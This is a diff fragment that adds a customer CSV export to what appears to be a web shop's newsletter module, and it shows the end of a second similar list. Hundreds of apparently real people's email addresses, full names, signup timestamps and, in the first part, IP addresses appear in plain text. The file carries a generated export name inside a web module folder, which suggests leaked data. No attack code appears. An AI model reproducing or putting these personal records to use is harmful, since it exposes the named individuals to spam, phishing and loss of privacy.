+25;Gotti;Justine;justine.gotti@gmail.com;;0000-00-00 00:00:00 +44;BRICARD;Kham;khambricard@hotmail.fr;85.168.45.35;2013-08-18 16:02:37 +14;Skis bd;Nsnsnbd;Ksksjd@djej.com;;0000-00-00 00:00:00 +40;sierakowski;ludivine;l.sierakowski@orange.fr;;0000-00-00 00:00:00 +27;de saint phalle;giselle;lamassole7@orange.fr;92.162.182.28;2013-08-11 18:52:41 +51;carbonell;christine;landottesbasses@yahoo.fr;;0000-00-00 00:00:00 +70;Cauvet;Virginie;lecameleonfrise@hotmail.fr;84.5.109.83;2013-08-27 17:11:02 +30;smira;Aurelie;lilou77luna@gmail.com;90.44.249.184;2013-08-12 17:31:57 +63;LOBROT;SARAH;lobrot.sarah@orange.fr;;0000-00-00 00:00:00 +86;Terranova;Lucia;luciaterranova@libero.it;94.141.4.134;2013-09-03 17:00:21 +83;granger;valerie;manon.kerpierre@orange.fr;2.13.233.129;2013-09-02 11:49:26 +66;ghandi;lydie;maria_25000@hotmail.com;78.228.7.227;2013-08-26 18:18:32 +35;MOINIER;Marie-josé;mariejose.moinier@neuf.fr;;2013-08-14 17:58:57 +67;OURGAUD;ADELINE;matthieu.ourgaud370@orange.fr;;0000-00-00 00:00:00 +20;MAWART;JOHANNA;mawart.johanna@yahoo.fr;81.57.119.171;2013-08-07 15:25:43 +19;test;test;mbaumgarten@mondialrelay.fr;;0000-00-00 00:00:00 +84;meaad;alkubaisi;meaad9@gmail.com;;0000-00-00 00:00:00 +56;Baglin;Camille;mimyhoreau@hotmail.com;;0000-00-00 00:00:00 +64;nannucci;francine;nannucci26@yahoo.fr;88.167.200.94;2013-08-26 08:03:22 +54;Grossert-Bucher;Natacha;natacha.bucher@bluewin.ch;92.107.115.186;2013-08-22 10:45:25 +3;Marin;Noé;noe@castoretpollux.com;;0000-00-00 00:00:00 +4;Ankri;Paola;paola.ankri@free.frr;;0000-00-00 00:00:00 +26;schub;caroline;pascal.schub@wanadoo.fr;90.39.232.167;2013-08-11 12:55:38 +37;Rault;Françoise;pfm6@wanadoo.fr;86.210.25.191;2013-08-15 18:36:08 +50;Piedboeuf;Pierre-Yves;piedboeuf@gmail.com;;0000-00-00 00:00:00 +82;de La Ville;Pierre;pierre@castoretpollux.com;80.14.226.55;2013-09-02 11:36:49 +60;hofmann;cécile;soon1972@hotmail.fr;79.82.197.134;2013-08-24 14:59:39 +13;Clousier;stephane;stephane@castoretpollux.com;80.14.226.55;2013-07-16 17:33:52 +68;Jallier;Stephanie;Stephanie.jallier@orange.fr;2.11.85.92;2013-08-27 14:04:14 +12;Ankri;Paola;test@test.fr;;0000-00-00 00:00:00 +80;BOISGONTIER;Cecile;tziliaaa@hotmail.fr;;0000-00-00 00:00:00 +1;Ankri;Paola;ultima_csplayer@hotmail.com;;2013-05-06 11:06:48 +53;villette;anne-sophie;villette.annesophie@gmail.com;;0000-00-00 00:00:00 +61;WALTHER;Valérie;walther.valerie@wanadoo.fr;;0000-00-00 00:00:00 +85;Gaudin;Valérie;yannick.gaudin0916@orange.fr;;0000-00-00 00:00:00 diff --git a/modules/newsletter/full_export_15549138721246765750.csv b/modules/newsletter/full_export_15549138721246765750.csv new file mode 100755 index 0000000..083eb37 --- /dev/null +++ b/modules/newsletter/full_export_15549138721246765750.csv @@ -0,0 +1,6496 @@ +id_customer;email;newsletter_date_add;lastname;firstname;id_lang +3212;102490455@qq.com;2014-09-23 01:30:34;ZHANG;TONGCHUAN;1 +2971;1037980112@qq.com;2014-07-30 16:54:04;guo;yongxiang;1 +2984;14annana@gmail.com;2014-08-02 05:20:20;Wang;Sishi;2 +4579;311@skynet.be;2014-12-25 16:08:20;Storme;Marie-Claire;1 +2602;438279608@qq.com;2014-06-19 12:54:37;è”;è‚–;2 +2032;6216161@qq.com;2014-05-05 11:06:21;å¢;邦;1 +456;74trodriguez@gmail.com;2013-11-10 12:55:08;Rodriguez;Teresa;1 +2399;75.babymag@gmail.com;2014-06-02 11:16:51;Magnac;Brigitte;1 +3019;790323206@qq.com;2014-08-06 12:30:55;Thomas;chan;2 +115;89lolo@free.fr;2013-09-12 13:58:08;DEY;LAURENCE;1 +16;a-chadelas@garancia-beauty.com;2013-07-24 18:16:34;CHADELAS;Agathe;1 +2815;a.ariane.tp@wanadoo.fr;2014-07-10 15:56:01;AMET;ARIANE;1 +1818;a.desselier415@laposte.net;2014-04-24 11:08:06;desselier;aurore;1 +4344;a.gagnerie@orange.fr;2014-12-07 19:06:07;Gagnerie;Audrey;1 +4956;a.gaufillier@hotmail.fr;2015-02-08 09:39:16;Gaufillier;Anaïs;1 +495;a.lemoine@fr.inpuzzle.com;2013-11-15 14:10:16;Lemoine;Audrey;1 +3938;a.loffet@hotmail.com;2014-11-07 08:57:11;Madame Loffet;Arlette;1 +4581;a.roussel76@gmail.com;2014-12-26 12:51:19;ROUSSEL;Aurélie;1 +3608;a.sartin@orange.fr;2014-10-15 16:06:22;JOUANIN SARTIN;AURORE;1 +4024;aapubfr@yahoo.fr;2014-11-15 06:18:55;POUSSIN;Magalie;1 +1031;abadakaab@free.fr;2014-01-28 09:20:55;BEN KAAB;VERONIQUE;1 +2560;absinthe.sucree@hotmail.fr;2014-06-14 22:23:47;Huguet;Amanda;1 +3017;accromg@orange.fr;2014-08-06 11:40:15;PETIT;EVELYNE;1 +3913;achille.catel@search-factory.fr;2014-11-05 14:59:36;CATEL;Achille;1 +2729;acolette@gmail.com;2014-07-02 12:06:46;Colette;Alexandra;1 +3278;ad.geoffroy@gmail.com;2014-09-11 08:46:09;GEOFFROY;Adeline;1 +802;adam.ghislaine@wanadoo.fr;2013-12-25 11:02:08;ADAM;Ghislaine;1 +337;adeline-haquin@live.fr;2013-10-22 17:43:19;Haquin;Adeline;1 +648;adeline.arn@voila.fr;2013-12-05 13:53:42;arnaud;adeline;1 +2314;adeline.hamrouni@gmail.com;2014-05-26 21:43:15;hamrouni;adeline;1 +1061;adeline.toulgoat@laposte.net;2014-01-30 20:32:38;Dubos;Adeline;1 +1571;adelineguichard81@gmail.com;2014-04-06 20:27:18;guichard;adeline;1 +2765;adinda.roggeman@gmail.com;2014-09-06 18:37:46;Roggeman;Adinda;1 +1076;adorabledomi@hotmail.com;2014-02-02 09:30:50;Lossignol;Dominique;1 +4493;agagmelinda@aol.com;2014-12-16 00:07:41;AGAG;MELINDA;1 +4007;agathe.laville2@orange.fr;2014-11-13 18:48:56;Laville;Agathe;1 +2688;agathe.monfort@sfr.fr;2014-06-28 11:44:55;Monfort;Agathe;1 +2461;agence.saquet@axa.fr;2014-06-06 11:17:57;saquet ;anne;1 +3778;agnes.bouvart@orange.fr;2014-10-29 16:46:20;BOUVART;Agnes;1 +3390;agnes.falcoz@sfr.fr;2014-09-21 18:29:16;Falcoz;Agnès;1 +1926;agnes.rosique@alsatis.net;2014-04-30 21:03:02;PASZEK ROSIQUE;Agnès;1 +4116;agnes.trouve0715@orange.fr;2014-11-20 15:31:18;gallier;agnes;1 +2527;agnes.van-hasselt@wanadoo.fr;2014-06-11 17:42:25;Buisson;Agnes;1 +3809;agnes@vermard.fr;2014-10-31 20:04:51;VERMARD;Agnès;1 +2297;agnesachat@live.fr;2014-05-25 17:23:10;kazarian;agnès;1 +1011;agnesrichard@noos.fr;2014-01-26 17:38:32;RICHARD;Marie-agnès;1 +1118;aguerreror@ecija.es;2014-02-05 10:44:47;M. ANGELES ;GUERRERO RIVERA;1 +2529;AHOCDE@FREE.FR;2014-06-11 19:07:52;HOCDE;ANNIE;1 +3268;akasha00@hotmail.fr;2014-09-10 14:02:11;RUIZ;ANNE;1 +4698;akrier@internet.lu;2015-01-12 14:06:40;Krier-Mousel;Anne;1 +525;alain-poisson@wanadoo.fr;2013-11-20 14:58:46;POISSON;Catherine;1 +3204;alain.barrier@free.fr;2014-09-01 22:38:36;Barrier;Alain;1 +3099;alain.cail0572@orange.fr;2014-08-18 09:15:19;dechef;patricia;1 +2904;alefel@escendo.fr;2014-07-23 16:46:13;LEFEL;AURELIEN;1 +2926;aleia.corsica@sfr.fr;2014-07-26 14:22:52;STUDD DELINE;Elisabeth;1 +2683;Aleksandra.ursu@hotmail.com;2014-06-27 18:14:12;Ursu;Aleksandra;1 +124;alexandra.feignant@orange.fr;2013-09-13 20:27:43;feignant;alexandra;1 +4717;alexandracognard@gmail.com;2015-01-14 21:00:01;Cognard;Alexandra;1 +171;Alexandrakis.brigitte@neuf.fr;2013-09-25 13:39:46;Alexandrakis;Brigitte;1 +866;alexandre.andco@laposte.net;2014-01-05 11:28:57;ALEXANDRE;CAROLINE;1 +4812;alexandrine-lili@hotmail.com;2015-01-25 19:03:36;Raimondo;Aurelie;1 +4982;alexiia76530@hotmail.fr;2015-02-09 23:03:52;leroy;alexia;1 +157;alex_knail@hotmail.com;2013-09-21 23:13:30;ANES;Alexandra;1 +2216;aleyrangueslaure@gmail.com;2014-05-19 17:46:07;Aleyrangues;Laure;1 +863;algrainmariepaule@hotmail.com;2014-01-03 23:11:33;Algrain;Marie-Paule;1 +4458;algubert@hotmail.com;2014-12-14 13:03:34;GUBERT;Anne-Laure;1 +3286;alice.frechet@france-loisirs.com;2014-09-11 10:52:22;frechet;ALICE;1 +4054;alice.martin@live.fr;2014-11-16 15:06:24;martin;alice;1 +4916;alicevanwaerebeke@hotmail.com;2015-02-05 06:58:01;Van Waerebeke;Alice;1 +3117;aliciaaa89@yahoo.fr;2014-08-21 21:48:13;yilmaz;hamit;1 +4309;aline-duval@orange.fr;2014-12-05 17:32:53;DUVAL;aline;1 +3287;aline.rouaud@gail.com;2014-09-11 11:39:48;Limier;Aline;1 +3541;aline.zanelli@neuf.fr;2014-10-08 09:02:47;ZANELLI;ALINE;1 +1863;alinerenevot@hotmail.com;2014-04-27 10:47:16;RENEVOT;ALINE;1 +126;alinharesandrade@gmail.com;2013-09-14 18:36:03;Andrade;Ana;1 +670;allard.danielle@orange.fr;2013-12-09 17:17:45;ALLARD;danielle;1 +982;allayscourrege@neuf.fr;2014-01-22 20:58:45;Allays-Courrege;Nicole;1 +2313;alouxalex@yahoo.fr;2014-05-26 18:37:14;Champion;Alexandra;1 +2002;alubet16@yahoo.fr;2014-05-03 11:57:10;lubet;amandine;1 +4456;alyssa.kowalski@laposte.net;2014-12-14 10:48:02;KOWALSKI;Alyssa;1 +4277;alysson.mazilly@sfr.fr;2014-12-03 11:24:15;MAZILLY;ALYSSON;1 +3575;am.lajoie@free.fr;2014-10-12 16:41:57;LAJOIE;Anne Marie;1 +1986;am.peiffer@hotmail.fr;2014-05-02 16:04:07;peiffer;anne-marie;1 +1423;amaiaj88@hotmail.com;2014-03-22 22:31:22;Jimenez Avila;Amaia;1 +1995;amand54140@hotmail.fr;2014-05-02 23:15:22;Ferry;Amandine;1 +497;amandine-pantel@live.fr;2013-11-15 14:59:16;pantel;amandine;1 +597;amandine.lobbrecht@yahoo.fr;2013-11-30 14:46:00;lobbrecht;amandine;1 +3565;amandine.p42@hotmail.fr;2014-10-11 14:48:58;perret;amandine;1 +3438;amandine.pelliccia@wanadoo.fr;2014-09-28 23:45:53;PELLICCIA;LUCYNA;1 +496;amandinehablot@gmail.com;2013-11-15 14:38:31;Hablot;Amandine;1 +1226;ambre@affinity4you.com;2014-02-24 18:41:41;ROBERT;Ambre;1 +422;amelaitoufella2@gmail.com;2013-11-06 14:27:00;Ait oufella;amel;1 +1264;amelekachouri@voila.fr;2014-03-02 11:14:11;KACHOURI-BOISSY;AMELE;1 +464;amelie.bousseau@sfr.fr;2013-11-11 11:31:19;Bousseau ;Amélie;1 +2051;amelie.guyonnet@gmail.com;2014-05-06 09:05:57;guyonnet;amelie;1 +1599;amelle-65@hotmail.fr;2014-04-08 17:08:16;lafabrie;armelle;1 +626;americane_sev@hotmail.fr;2013-12-04 09:03:10;SALVADOR;Séverine;1 +2748;amesmonneret@orange.fr;2014-07-04 17:02:12;MONNERET;SYLVIE;1 +310;amf13011@gmail.com;2013-10-19 09:49:41;FENECH;anne-marie;1 +2843;amina.hobbs@gmail.com;2014-07-15 15:03:56;el houdaigui;amina;1 +308;amoliviercurti@free.fr;2013-10-18 21:20:55;curti;anne marie;1 +1942;an.reeb@laposte.net;2014-05-01 10:49:14;reeb;Anne-marie;1 +2415;anabelle.dafonseca@gmail.com;2014-06-02 20:45:57;da fonseca;anabelle;1 +4660;anabjim@gmail.com;2015-01-07 15:58:45;Jimenez;Anabel;1 +49;anais.chellin@hotmail.fr;2013-08-19 17:32:58;CHELLIN;Anais;1 +2255;anais.colle@hotmail.fr;2014-05-22 13:43:01;colle;anais;1 +506;anais.illi@orange.fr;2013-11-16 19:57:46;ILLI;Anaïs;1 +4135;anaisrojoromeo@gmail.com;2014-11-22 18:31:05;ROJO-ROMEO;Anais;1 +1367;anais_bisiaux@orange.fr;2014-03-16 12:28:03;Bisiaux;Anaïs;1 +4599;anamarpais@netcabo.pt;2014-12-28 23:38:28;ANA;PAIS;1 +2603;anastasia_294@hotmail.com;2014-06-19 13:07:49;poutouki;anastasia elektra;1 +4527;ANATAYO@163.COM;2014-12-18 17:12:29;LEE;ZANLI;2 +138;anatebejar@yahoo.com;2013-09-17 18:34:21;Bejar de Armand;Ana;1 +1348;ancermad@neuf.fr;2014-03-13 17:00:42;ancer;Mada;1 +2407;andesnou@gmail.com;2014-06-02 14:53:28;desnouveaux;anne;1 +2135;andre.chaffringeon0522@orange.fr;2014-05-13 07:33:30;chaffringeon;anne marie;1 +1477;andrea.cayrel@gmail.com;2014-03-28 12:32:45;CAYREL;Andréa;1 +4428;andree.collet@orange.fr;2014-12-12 16:00:26;Collet;Andrée;1 +3021;andree.leone@orange.fr;2014-08-06 17:58:17;LEONE;Andrée;1 +3381;andrieux.m21@orange.fr;2014-09-20 17:07:59;ANDRIEUX;Michele;1 +3738;angebeb@gmail.com;2014-10-27 01:58:30;Comte;Marie;1 +1950;angekosmic@free.fr;2014-05-01 12:40:12;Bordeaux;Sylvie;1 +197;angelahutse@gmail.com;2013-09-27 12:10:08;Bretagne Hutse;Angela;1 +2565;angelina.musset@gmail.com;2014-06-15 17:34:02;musset;angelina;1 +551;angelique-berger@orange.fr;2013-11-24 12:00:00;berger;angelique;1 +4654;angelique.florczyk@gmail.com;2015-01-06 20:17:09;Florczyk;Angélique;1 +394;angelique.magali@free.fr;2013-11-01 16:50:37;COLMANT;christine;1 +3505;angelique.peschaud@cneap.fr;2014-10-04 13:53:29;peschaud;Angelique;1 +708;ANGELIQUEBELLOT@LIVE.FR;2014-01-10 18:51:50;bellot;angelique;1 +3725;angeliquelune77@gmail.com;2014-10-26 10:29:23;leberger;angelique;1 +359;angelongles@yahoo.fr;2013-10-27 09:22:52;Saleta;Angélique;1 +306;anhoffre@aol.fr;2013-10-18 14:00:21;d'anhoffre;anne;1 +1151;anisetsony@hotmail.com;2014-02-10 09:51:23;sapin;ghislaine;1 +4803;anjakubik@gmail.com;2015-01-25 14:56:23;Kubik;Anna;2 +3574;anna.bellemin@outlook.fr;2014-10-12 15:42:48;BELLEMIN;Pascale;1 +2236;anna.gaffel@wanadoo.fr;2014-05-21 08:40:29;GAFFEL;ANNA;1 +1502;anna.perez.mager@orange.fr;2014-03-30 20:22:56;Mager;anna;1 +4643;annanahoos@gmail.com;2015-01-04 12:54:52;hoos;anna;1 +2669;anne-gaelle.lar@wanadoo.fr;2014-06-26 14:13:10;gourdon;anne;1 +1222;anne-laure.vavon@laposte.net;2014-02-24 08:23:54;vavon;anne-laure;1 +3089;anne-lise.camarena@dbmail.com;2014-08-16 16:56:24;CAMARENA;Anne - Lise;1 +1939;anne-marie.berthet@laposte.net;2014-05-01 10:42:32;BERTHET;Anne-Marie;1 +3682;anne.borto@hotmail.fr;2014-10-21 18:14:45;DELHORBE;Anne;1 +4474;anne.daville@gmail.com;2014-12-14 22:36:52;Falletta ;Anne ;1 +4112;anne.imbert3@aliceadsl.fr;2014-11-20 08:47:42;imbert;Anne;1 +977;anne.ouvre-polloni@orange.fr;2014-01-22 12:24:53;Polloni;Anne;1 +4762;anne.reboul@icloud.com;2015-01-21 14:25:32;Reboul;Anne;1 +1735;anne.stevenne@gmail.com;2014-04-17 21:54:48;Stevenne;Anne;1 +923;anne.trapet21@orange.fr;2014-01-13 21:20:48;Trapet;Anne;1 +4664;annece59@hotmail.fr;2015-01-07 19:48:19;capelle;anne cecile;1 +4905;annecharbonnet@hotmail.com;2015-02-04 14:01:01;CHARBONNET;ANNE;1 +39;annecolliard@yahoo.fr;2013-08-16 16:08:05;Colliard;Anne;1 +2378;annedargelos@hotmail.com;2014-05-31 13:03:29;DARGELOS;Anne;1 +2133;annefrance29@hotmail.com;2014-05-13 00:01:28;Minguet;Anne-France;1 +1366;annefrancerenault@gmail.com;2014-03-16 11:52:18;RENAULT;Anne-France;1 +2424;annelemoine@gmx.fr;2014-06-03 13:57:55;lemoine;anne;1 +2401;annelise.fresnet@orange.fr;2014-06-02 11:58:23;FRESNET;Anne-lise;1 +79;annelorede@gmail.com;2013-09-01 19:48:13;Dellienne;Annelore;1 +2485;annemari.vincent@wanadoo.fr;2014-06-08 16:12:19;vincent;anne-marie;1 +2609;annemarie.spiry@leprogres.fr;2014-06-20 09:42:30;SPIRY;anne marie;1 +980;annemariedjellali@yahoo.fr;2014-01-22 15:25:00;Djellali;Anne marie;1 +4618;annemariesimon0705@orange.fr;2015-01-01 14:32:09;SIMON;Anne-Marie;1 +3520;anneroch@yahoo.com;2014-10-06 09:55:24;Mentasti;Anne;1 +665;annes.doms@gmail.com;2013-12-08 17:20:53;Doms;Anne-Sophie;1 +3566;annestefaniak@voila.fr;2014-10-11 15:58:35;stefaniak;anne;1 +3834;annewd@wanadoo.fr;2014-11-02 15:48:29;WENDLING;ANNE;1 +2300;anneym00@yahoo.com;2014-05-25 22:49:13;Zahm;Marie;1 +2855;anne_claudetonetto@yahoo.fr;2014-07-17 14:31:01;tonetto;anne;1 +3997;anne_sophie.remacle@yahoo.fr;2014-11-11 20:00:52;remacle;anne sophie;1 +1341;annick.degousee@gmail.com;2014-03-12 14:17:34;DEGOUSEE;annick;1 +1812;annick.siguier@cegetel.net;2014-04-23 16:31:29;SIGUIER;annick;1 +1527;annickboterel@voila.fr;2014-04-02 10:03:28;boterel;Annick;1 +3163;annickcastan@yahoo.fr;2014-08-27 09:40:24;CASTAN;Annick;1 +1988;annicklailler@aol.com;2014-05-02 17:33:59;lailler;annick;1 +442;annickleclaincheal@gmail.com;2013-11-08 18:34:38;leclainche;Annick;1 +4858;annie.campion1@gmail.com;2015-01-30 14:11:26;Lemaître;Annie;1 +2524;annie.fillion36@orange.fr;2014-06-11 13:36:26;FILLION;ANNIE;1 +3723;annie.vavasseur@orange.fr;2014-10-26 06:58:35;VAVASSEUR;ANNIE;1 +3053;anniebarrois@orange.fr;2014-08-11 11:44:29;Barrois;Annie;1 +2970;anniejacques@free.fr;2014-07-30 15:40:05;JACQUES;Annie;1 +630;annietoiron@aol.com;2013-12-04 11:17:45;TOIRON;Annie;1 +2886;annnickfort@live.fr;2014-07-21 13:33:51;FORT CHEZ GENERALI;ANNICK;1 +2044;ansart.muriel@orange.fr;2014-05-05 21:57:55;carneau;muriel;1 +1989;ansoleber@hotmail.com;2014-05-02 18:02:57;de Champfleur;Anne-Sophie;1 +2909;anthusabaum@yahoo.fr;2014-07-24 05:16:58;baumgartner;anthusa;1 +4243;antje.lallemand@laposte.net;2014-12-01 00:47:18;Lallemand;Antje;1 +2184;Antonia-dirosa@hotmail.fr;2014-05-16 13:16:24;Dirosa;Antonia;1 +1693;antoniopotenza@gmail.com;2014-04-15 12:43:34;POTENZA;ANTONIO;1 +417;apicco@laposte.net;2013-11-05 20:39:21;Picco;Anais;1 +3454;aplain@hotmail.fr;2014-09-30 12:51:56;Le Ninan;Anne;1 +140;aquacolor@free.fr;2013-09-18 02:00:29;eliard;marie-dominique;1 +836;archeo17@aol.com;2013-12-30 17:25:45;GRAND;Caroline;1 +4407;arduinmarianne@gmail.com;2014-12-11 17:30:49;arduin;marianne;1 +1874;artaudcarole@yahoo.fr;2014-04-27 18:21:09;ARTAUD;CAROLE;1 +2105;aslhorto@yahoo.com;2014-05-10 19:32:11;lhortolary;anne sophie;1 +1504;as_solanet@yahoo.fr;2014-03-30 21:16:59;solanet;anne-sophie;1 +4995;atalia83@orange.fr;2015-02-10 17:23:37;DOMERGUE;Valérie;1 +1705;atsemdo@hotmail.fr;2014-04-15 22:07:33;Cassard;Dorothee;1 +4179;attivosandra@yahoo.fr;2014-11-25 22:33:51;attivo;sandra;1 +1558;auberge-la-ferme@wanadoo.fr;2014-04-05 19:19:47;zenezini;patricia;1 +1097;aude.lamagdelaine@gmail.com;2014-02-03 09:46:02;SANGARE;Aude;1 +2063;aude.miranda@gmail.com;2014-05-06 21:40:57;miranda;aude;1 +1916;aude83@orange.fr;2014-04-30 15:33:15;haniez;claudine;1 +1524;audegenoux@aol.com;2014-04-01 14:00:52;genoux;aude;1 +2646;audere.florent@orange.fr;2014-06-23 18:41:13;AUDERE;CATHERINE;1 +4929;audrey-viard@live.fr;2015-02-06 13:37:35;Viard;Audrey;1 +3991;audrey.cleret@bbox.fr;2014-11-11 14:57:50;Cleret;Audrey;1 +3477;audrey.formica@gmail.com;2014-10-01 13:27:16;FORMICA;Audrey;1 +4532;audrey.lariviere@hotmail.fr;2014-12-19 11:07:39;ROMELE;AUDREY;1 +1513;audrey0021@hotmail.com;2014-03-31 12:51:38;bourgeois;audrey;1 +4998;audrey@sessun.com;2015-02-10 21:21:50;GASSEAU;Audrey;1 +834;audreycrevecoeur@yahoo.fr;2013-12-30 16:37:18;creve-coeur;audrey;1 +1930;audreywcct@gmail.com;2014-05-01 00:34:59;Dubois;Audrey;1 +2026;auffret.alainjean@wanadoo.com;2014-05-04 19:28:32;auffret;alain;1 +3192;aurelia.vanlanduyt@sfr.fr;2014-08-30 21:41:00;Van landuyt;aurelia;1 +436;aureliatillier@hotmail.com;2013-11-08 11:54:15;TILLIER;AURELIA;1 +3754;aurelie.gutowski@orange.fr;2014-10-27 18:21:44;GUTOWSKI;AURELIE;1 +4348;aurelie.odent@gmail.com;2014-12-07 23:25:54;ASSEMAT;Aurelie;1 +520;aurelie.renne@neuf.fr;2013-11-19 10:01:47;renne;aurélie;1 +104;aurelie.taillades@hotmail.fr;2013-09-10 20:23:39;TAILLADES;Aurelie;2 +4973;aureliebloch@hotmail.com;2015-02-09 10:24:07;BLOCH;AURELIE;1 +3442;aureliechatenet@hotmail.com;2014-09-29 16:50:50;chatenet-iacono;aurelie;1 +517;aurelie_24@hotmail.com;2013-11-19 08:50:10;rojas;aurelie;1 +3173;aurely95_1@hotmail.com;2014-08-28 13:11:37;Rescoussie;Aurelie;1 +1025;aussiewild23@yahoo.fr;2014-01-27 19:16:33;Pichardie;Audrey;1 +2770;avril363@hotmail.com;2014-07-06 22:33:00;Moretti;Avril;1 +4710;azifwekare@sfr.fr;2015-01-13 22:36:58;le sager;nelly;1 +4556;aziza.ezzine@free.fr;2014-12-22 15:12:58;azzine;aziz;1 +1811;a_raphaella@yahoo.fr;2014-04-23 15:39:58;VALLERON;RAPHAELLA;1 +477;b-valerie38@orange.fr;2013-11-12 21:31:33;Blouin;Valérie;1 +2580;babetta@orange.fr;2014-06-16 22:13:57;chambonnet;elizabeth;1 +2165;baccara0@hotmail.com;2014-05-15 00:01:37;Vergne Bartniczak;Céline;1 +2050;bacchiarello.liliane@gmx.fr;2014-05-06 08:49:54;bacchiarello;liliane;1 +1204;baconnaisdaniele@orange.fr;2014-02-21 15:16:32;BACONNAIS;DANIELE;1 +338;bagneris.jean@orange.fr;2013-10-22 19:46:13;Manastireanu;Aurora;1 +1619;bagnols48@yahoo.fr;2014-04-09 20:40:32;GUEDJ;ANY;1 +3905;bambi21@sfr.fr;2014-11-04 19:52:44;boyeaux ;Karine ;1 +458;baoui82@hotmail.fr;2013-11-10 19:23:01;audebert;melanie;1 +1820;barbacandie85@orange.fr;2014-04-24 14:21:52;BOUDELIER;JOELLE;1 +2582;barbaraliebens@hotmail.com;2014-06-17 09:51:21;Liebens;Barbara;1 +2348;barbarapisanu@hotmail.fr;2014-05-28 19:10:49;Pisanu;Barbara;1 +2164;barbichoud@gmail.com;2014-05-14 23:12:48;DOLPHIN;Barbara;1 +709;barbuoana_2005@yahoo.com;2013-12-14 05:40:43;Barbu;Oana-Maria;1 +4697;barre.nathalie@yahoo.fr;2015-01-12 08:52:00;Barré-Colin;Nathalie ;1 +3444;barse-agnes@bbox.fr;2014-09-29 19:01:02;dumont;agnes;1 +2438;bartczak45@neuf.fr;2014-06-04 15:08:20;LEFEVRE;CHANTAL;1 +4933;bassandpat@hotmail.fr;2015-02-07 11:47:16;Bassand;Marie Antoinette;1 +1388;bastiani@pt.lu;2014-03-19 11:58:41;BASTIANI;GIGI;1 +2557;baudart.eliane@yahoo.fr;2014-06-14 17:47:26;BAUDART;Eliane;1 +4470;bbarbelanne@yahoo.fr;2014-12-14 22:04:58;BARBELANNE;BERNARD;1 +2768;bbarry04@gmail.com;2014-07-06 20:45:46;Truman-Barry;Brenda;2 +3865;bbdoro@gmail.com;2014-11-03 17:11:03;Scech Ali;Barbara;1 +4907;be.jeanville@me.com;2015-02-04 14:32:01;JEANVILLE;BETTY;1 +52;beatabattesti@orange.fr;2013-08-21 13:49:29;battesti;beatrice;1 +28;beatrice.artigue@orange.fr;2013-08-11 21:20:16;Artigue;Beatrice;1 +3546;beatricebellefontaine@orange.fr;2014-10-08 13:16:37;DEKYNDT;BEATRICE;1 +71;beatricecuschieri@yahoo.fr;2013-08-28 12:14:30;CUSCHIERI;Béatrice;1 +2507;beatricemarchandeau@orange.fr;2014-06-10 10:55:15;MARCHANDEAU;BEATRICE;1 +884;bea_boualleg@yahoo.fr;2014-01-08 08:28:33;boualleg;béatrice;1 +72;belanaisdoc@hotmail.fr;2013-08-28 13:16:09;Bel;Anais;1 +4168;beleau@wanadoo.fr;2014-11-25 13:44:09;beleau;françoise;1 +4680;belenwheel@aktagencia.com;2015-01-09 10:02:22;rueda;belen;2 +2334;belinda.colas@free.fr;2014-05-28 13:21:28;colas;belinda;1 +4405;bella326@hotmail.fr;2014-12-11 15:49:40;pinson;laetitia;1 +4877;belligsantos@gmail.com;2015-02-01 11:36:38;PILOT;ISABELLE;1 +478;belusandra@hotmail.fr;2013-11-13 10:54:48;BELUS;sandra;1 +1218;benassati@hotmail.com;2014-02-23 17:12:00;delaporte;claire;1 +227;bene.thivillier@free.fr;2013-10-04 18:08:58;thivillier;benedicte;1 +1411;benedicteheyman@hotmail.com;2014-03-21 21:59:56;Heymann;Bénédicte;1 +1770;beney.beatrice@sfr.fr;2014-04-21 12:33:19;BENEY;BEATRICE;1 +900;berenysc@gmail.com;2014-01-10 22:13:09;Chevalier;Berenice;1 +4253;bernadettetrezeux@orange.fr;2014-12-01 16:10:51;trezeux;bernadette;1 +4147;bernard-arlette@orange.fr;2014-11-23 16:02:11;bernard;arlette;1 +2828;bernard.ducos@nordnet.fr;2014-07-13 19:01:40;DUCOS;NATHALIE;1 +1454;bernard.dudillieu@wanadoo.fr;2014-03-26 15:11:47;dudillieu;bernard;1 +1437;berry-pop@hotmail.fr;2014-03-24 19:24:57;Lapeyre;claire;1 +1307;bertochon@yahoo.fr;2014-03-07 22:31:48;BERTEAULT;Michèle;1 +3031;bertran-laetitia@bbox.fr;2014-08-07 21:28:21;bertran;laetitia;1 +1509;bertrand.bonnamour@gmail.com;2014-03-31 05:48:01;bonnamour;bertrand;1 +997;besse.stephanie@bbox.fr;2014-01-24 21:30:49;BESSE;Stephanie;1 +4753;betherese@wanadoo.fr;2015-01-19 22:01:44;BERTRAND;Therese;1 +2447;bettty@013.net;2014-06-04 22:12:22;Leon;Betty;1 +3374;betty.lecouturier@yahoo.fr;2014-09-20 09:18:48;Lecouturier;Betty;1 +3937;bettyboop77130@live.fr;2014-11-07 08:08:50;Barret;Brigitte;1 +364;Bettycel@orange.fr;2013-10-28 10:31:26;ridel;celine;1 +1657;biard.julie@orange.fr;2014-04-13 15:52:45;BIARD;JULIE;1 +1499;bibi.va@hotmail.fr;2014-03-30 18:38:08;libert;fabienne;1 +3169;bideau.sabine@wanadoo.fr;2014-08-27 18:11:00;BIDEAU;Sabine;1 +2076;biologie.cellulaire@barid.com;2014-05-08 00:02:52;takouachet;Alima;1 +616;biscottesylvie@gmail.com;2013-12-03 14:09:53;KIEFFER;sylvie;1 +4146;bjulian@free.fr;2014-11-23 15:08:08;JULIAN;BRIGITTE;1 +3009;bl.sango@yahoo.fr;2014-08-04 21:07:02;SANGO MIHOLO;Blandine;1 +1543;blankaribeiro@voila.fr;2014-04-04 10:28:38;Ribeiro;Blanka;1 +3481;blondeau.delamare@wanadoo.fr;2014-10-01 15:14:33;BLONDEAU;Sylvie;1 +3292;blondomi@hotmail.fr;2014-09-11 15:38:00;Blond;Dominique;1 +4424;bluesorizon@gmail.com;2014-12-12 10:21:43;Saucey;Nadia;1 +4528;bmaylis@hotmail.fr;2014-12-18 18:35:59;bourneuf;maylis;1 +1029;bmiss26@hotmail.fr;2014-01-27 21:41:24;Cuisinier;Laetitia;1 +1771;bocquetlaurine@gmx.com;2014-04-21 13:57:28;Bocquet;Laurine;1 +1620;boissinot.delphine@voila.fr;2014-04-09 21:15:41;Boissinot;Delphine;1 +9;boix.christophe@hotmail.fr;2013-09-20 14:55:35;Boix TEST;Christophe test;1 +3429;bongiovanni.loetitia@bbox.fr;2014-09-27 17:09:33;BONGIOVANNI;LOETITIA;1 +3825;bonne-mine@hotmail.fr;2014-11-01 22:28:11;LEPSA;Anika;1 +1375;bonzijbm@gmail.com;2014-03-17 08:00:01;BONZI;MIREILLE;1 